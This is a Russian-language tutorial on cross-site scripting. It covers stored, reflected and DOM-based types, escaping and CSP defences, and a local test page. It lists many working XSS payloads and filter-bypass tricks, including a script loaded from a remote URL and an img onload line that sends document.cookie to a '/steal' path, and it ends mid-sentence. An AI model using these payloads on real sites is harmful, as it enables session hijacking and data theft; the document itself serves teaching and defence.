
XSS (Cross-Site Scripting) – это тип уязвимости, позволяющий внедрять произвольный JavaScript-код в веб-страницы. Основные векторы атаки включают ввод через формы, URL-параметры и заголовки HTTP. Практика показывает, что почти все динамические элементы, принимающие пользовательский ввод без фильтрации, потенциально уязвимы.
Существуют три основных типа XSS: Stored (сохранённый), Reflected (отражённый) и DOM-based. Stored XSS чаще всего встречается в комментариях или формах обратной связи, где данные сохраняются на сервере и отображаются другим пользователям. Reflected XSS возникает при передаче параметров в URL, а DOM-based – при динамическом изменении страницы через JavaScript без проверки вводимых данных.
Практическая защита начинается с фильтрации специальных символов: <, >, &, « и ‘. Для сложных сценариев рекомендуется использовать готовые функции экранирования из фреймворков и библиотек, например, encodeURIComponent() для URL или textContent для вставки текста в DOM. Игнорирование этих правил приводит к моментальному внедрению вредоносного скрипта и компрометации пользовательских сессий.
Вставка XSS в HTML: примеры и методы

Для обхода фильтров применяются методы кодирования и инъекции событий. Пример: <svg/onload=alert('XSS')> или <iframe src="javascript:alert(1)">. Часто используется комбинация HTML- и JS-инъекций, включая атрибуты: <div onclick=alert(1)>Click</div>.
Практика показывает, что атаки с использованием нестандартных схем URI, UTF-8 кодирования и закодированных символов обходят простые фильтры. Например, <a href="javas
cript:alert(1)">link</a>.
Методы защиты включают экранирование специальных символов (<, >, ", '), использование Content Security Policy и строгую проверку ввода на сервере. Запрет динамического выполнения кода через eval() и innerHTML снижает риск DOM-based XSS.
Как встроить простой скрипт в поле ввода
Для вставки скрипта в поле ввода необходимо учитывать, что HTML-интерпретатор браузера выполняет содержимое только в случае, если оно корректно встроено в документ. Простейший пример XSS выглядит так:
<script>alert('XSS')</script>
Пошаговое применение:
- Найти поле ввода, которое не фильтрует теги или специальные символы.
- Вставить код вида
<script>действие</script>. - Отправить форму и проверить, выполнится ли скрипт в браузере.
Альтернативные варианты вставки:
<img src=x onerror=alert('XSS')>– выполняется при загрузке несуществующего изображения.<svg/onload=alert('XSS')>– использует SVG-тег с событием onload.<input autofocus onfocus=alert('XSS')>– активирует скрипт при фокусе на поле.
Рекомендации для экспериментов в тестовой среде:
- Использовать локальные страницы или безопасные платформы для тестирования XSS.
- Проверять, какие символы фильтруются (например,
<,>,"). - Применять минимальный код, чтобы избежать блокировки со стороны браузера или WAF.
Фильтры можно обходить через:
- Использование HTML-сущностей (
<→<), если сервер их не декодирует перед рендерингом. - События на нестандартных тегах (
onmouseover,onfocus). - Встроенные URI-схемы для ссылок (
javascript:alert('XSS')).
Использование атрибутов HTML для запуска XSS

Атрибуты HTML, такие как onerror, onload, onclick и onmouseover, позволяют внедрять скрипты напрямую в элементы страницы. Например, атрибут onerror изображения с некорректным источником может вызвать выполнение JavaScript: <img src=’invalid.jpg’ onerror=’alert(1)’>.
Атрибут href в ссылках поддерживает протокол javascript:, что позволяет запускать код при клике: <a href=’javascript:alert(1)’>Click</a>. Важно учитывать, что современные браузеры ограничивают часть подобных техник, но уязвимости остаются в устаревших или плохо настроенных системах.
Использование form и input позволяет внедрять скрипты через onfocus и onchange: <input onfocus=’alert(1)’>. Эти методы особенно эффективны на страницах с динамическим отображением пользовательского ввода без фильтрации.
События мыши и клавиатуры, такие как onmouseover и onkeydown, дают возможность запускать скрипты при взаимодействии пользователя: <div onmouseover=’alert(1)’>Hover</div>. Часто их используют для скрытых атак на элементы интерфейса.
Атрибуты style могут содержать выражения CSS (expression() в старых версиях IE), позволяющие выполнять JavaScript без традиционных тегов <script>. Пример: <div style=’width: expression(alert(1))’></div>. Этот метод устарел, но встречается в устаревших системах.
Для защиты необходимо экранировать значения всех атрибутов, запрещать вставку javascript: и отслеживать события пользовательского ввода. Любые динамические атрибуты должны проходить строгую фильтрацию и проверку на допустимые значения.
Встраивание XSS через ссылки и URL

XSS через ссылки и URL возникает, когда приложение отображает или использует данные из запроса без корректной фильтрации. Типичный пример – параметр в GET-запросе, вставленный в HTML без экранирования.
Пример уязвимого URL: http://example.com/page?name=<script>alert(‘XSS’)</script>. Если приложение вставляет значение параметра name прямо в страницу, скрипт выполнится в браузере пользователя.
Методы эксплуатации включают подстановку скриптов в параметры ссылок, фрагменты URL (hash) и query-параметры. Часто используются конструкции javascript: в ссылках, которые запускают выполнение кода при клике. Например: <a href=»javascript:alert(‘XSS’)»>Click</a>.
URL может содержать код через data: схемы или сокращенные формы кодировки символов, включая URL-encoded значения. Это позволяет обходить простые фильтры, заменяющие < и >.
Для проверки уязвимости достаточно вставить в параметр ссылку тестовый скрипт или alert. В реальных условиях злоумышленники используют более сложные функции, например, document.cookie или fetch для кражи данных.
Рекомендации по защите: всегда экранировать символы <, >, &, «, ‘, применять Content Security Policy (CSP), ограничивать использование javascript: в ссылках и валидировать все входные данные, включая URL-параметры.
Манипуляции с DOM для обхода фильтров
Использование методов DOM позволяет обходить базовые фильтры, блокирующие прямую вставку скриптов. Например, вместо <script> можно динамически создавать элементы через document.createElement и внедрять их с помощью appendChild или insertBefore.
Пример: var s = document.createElement('script'); s.src='http://example.com/xss.js'; document.body.appendChild(s);. Фильтры, запрещающие ключевое слово «script», часто не блокируют такой подход.
Метод innerHTML позволяет вставлять HTML-код в элементы после загрузки страницы. При правильной комбинации с setTimeout или eval можно выполнить код, скрывая его от простых фильтров.
Атрибуты событий, добавленные через setAttribute, обходят многие проверки. Пример: div.setAttribute('onmouseover','alert(1)'); активирует скрипт при наведении, минуя фильтры, которые блокируют прямое использование <img onerror> или <body onload>.
Использование insertAdjacentHTML позволяет внедрять HTML-код без полной перезаписи содержимого элемента. В сочетании с экранированными последовательностями, такими как <script>, это позволяет запускать код там, где прямой innerHTML блокируется.
Динамическая генерация функций через Function() или eval с DOM-значениями обходят фильтры, запрещающие ключевые слова JavaScript. Например, var f = new Function('alert(1)'); f(); выполняет код без использования тегов и событий в исходном HTML.
Методы DOM дают возможность разделять части скрипта на несколько элементов, объединяя их при выполнении. Такой подход затрудняет статический анализ и фильтрацию на стороне сервера или клиентских WAF.
Использование тегов изображения и событийных атрибутов
Тег изображения () часто используется для внедрения XSS через события загрузки или ошибки. Основной механизм – подключение JavaScript к атрибутам событий, таким как
onerror и onload.
Примеры опасных сценариев:
<img src="invalid.jpg" onerror="alert('XSS')">– выполнение скрипта при ошибке загрузки изображения.<img src="valid.jpg" onload="fetch('/steal?cookie='+document.cookie)">– отправка данных после успешной загрузки.
Рекомендации по защите и тестированию:
- Экранируйте все пользовательские данные, вставляемые в атрибуты тегов.
- Ограничивайте использование событийных атрибутов на клиентской стороне.
- Применяйте Content Security Policy (CSP) с запретом inline-скриптов.
- Проверяйте валидность ссылок в
src, избегая возможности вставки JavaScript через URI-схемы (javascript:,data:). - Используйте безопасные библиотеки для рендеринга HTML, которые автоматически удаляют опасные события.
Дополнительно, XSS через изображения можно комбинировать с другими тегами и атрибутами для обхода фильтров:
- Вставка пустого изображения с обработчиком события:
<img src="" onerror="...JavaScript..."> - Использование коротких URI (
src=x) для обхода валидации. - Комбинация с
styleиbackground-imageв некоторых браузерах позволяет триггерить выполнение через CSS-эксплойты.
XSS через формы и отправку данных на сервер

Пример уязвимой формы:
| Форма | Описание уязвимости |
|---|---|
| <input type=»text» name=»comment»> | Значение без экранирования вставляется в HTML комментариев. |
| <textarea name=»message»></textarea> | Текст отправляется на сервер и отображается в блоке <div> без фильтрации. |
| <input type=»submit»> | Отправка данных без проверки позволяет внедрить скрипт. |
Методы эксплуатации:
| Метод | Описание |
|---|---|
| Reflected XSS | Скрипт передаётся через GET или POST и сразу отображается на странице. |
| Stored XSS | Скрипт сохраняется в базе данных и выполняется при каждом отображении содержимого другим пользователем. |
| DOM-based XSS | Скрипт изменяет DOM через данные формы без обращения к серверу. |
Рекомендации по защите:
| Мера | Описание |
|---|---|
| Content Security Policy (CSP) | Запрет выполнения встроенных скриптов и подключение только доверенных источников. |
| Валидация на сервере | Отвергать или очищать данные, не соответствующие ожидаемому формату. |
| HTTP-only куки | Защита сессий от кражи через XSS. |
| Регулярные аудиты | Проверка форм на новые уязвимости после изменений кода. |
Особенность XSS через формы заключается в том, что уязвимость может быть как прямой (скрипт отображается сразу), так и отложенной (скрипт сохраняется и выполняется позже). Поэтому важно проверять все точки ввода, включая скрытые поля, заголовки и файлы, загружаемые через форму.
Тестирование уязвимости на локальной странице
Создайте локальную HTML-страницу с формой ввода данных, например:
<form id="testForm"><input type="text" id="userInput"><button type="button" onclick="submitForm()">Отправить</button></form>
Добавьте скрипт для отображения введённого значения без фильтрации:
function submitForm() { var input = document.getElementById('userInput').value; document.getElementById('output').innerHTML = input; }
<div id="output"></div>
Для тестирования XSS используйте простые payload’ы, например:
<script>alert('XSS')</script>
Вставьте их в форму и нажмите кнопку. Если браузер выполнит скрипт, страница уязвима.
Пробуйте различные варианты payload’ов: HTML-теги (<b>текст</b>), обработчики событий (<img src=x onerror=alert(1)>), атрибуты тегов (<div onclick=alert(2)>).
Используйте браузерные консоли и расширения для анализа DOM и сетевых запросов, чтобы выявить все точки внедрения скриптов.
Вопрос-ответ:
Что такое XSS и как он проявляется в HTML?
XSS (Cross-Site Scripting) — это тип уязвимости веб-приложений, при которой злоумышленник внедряет вредоносный скрипт в страницы сайта. Скрипт выполняется на стороне клиента, что позволяет перехватывать данные пользователя, изменять содержимое страницы или выполнять нежелательные действия. В HTML XSS проявляется через внедрение тегов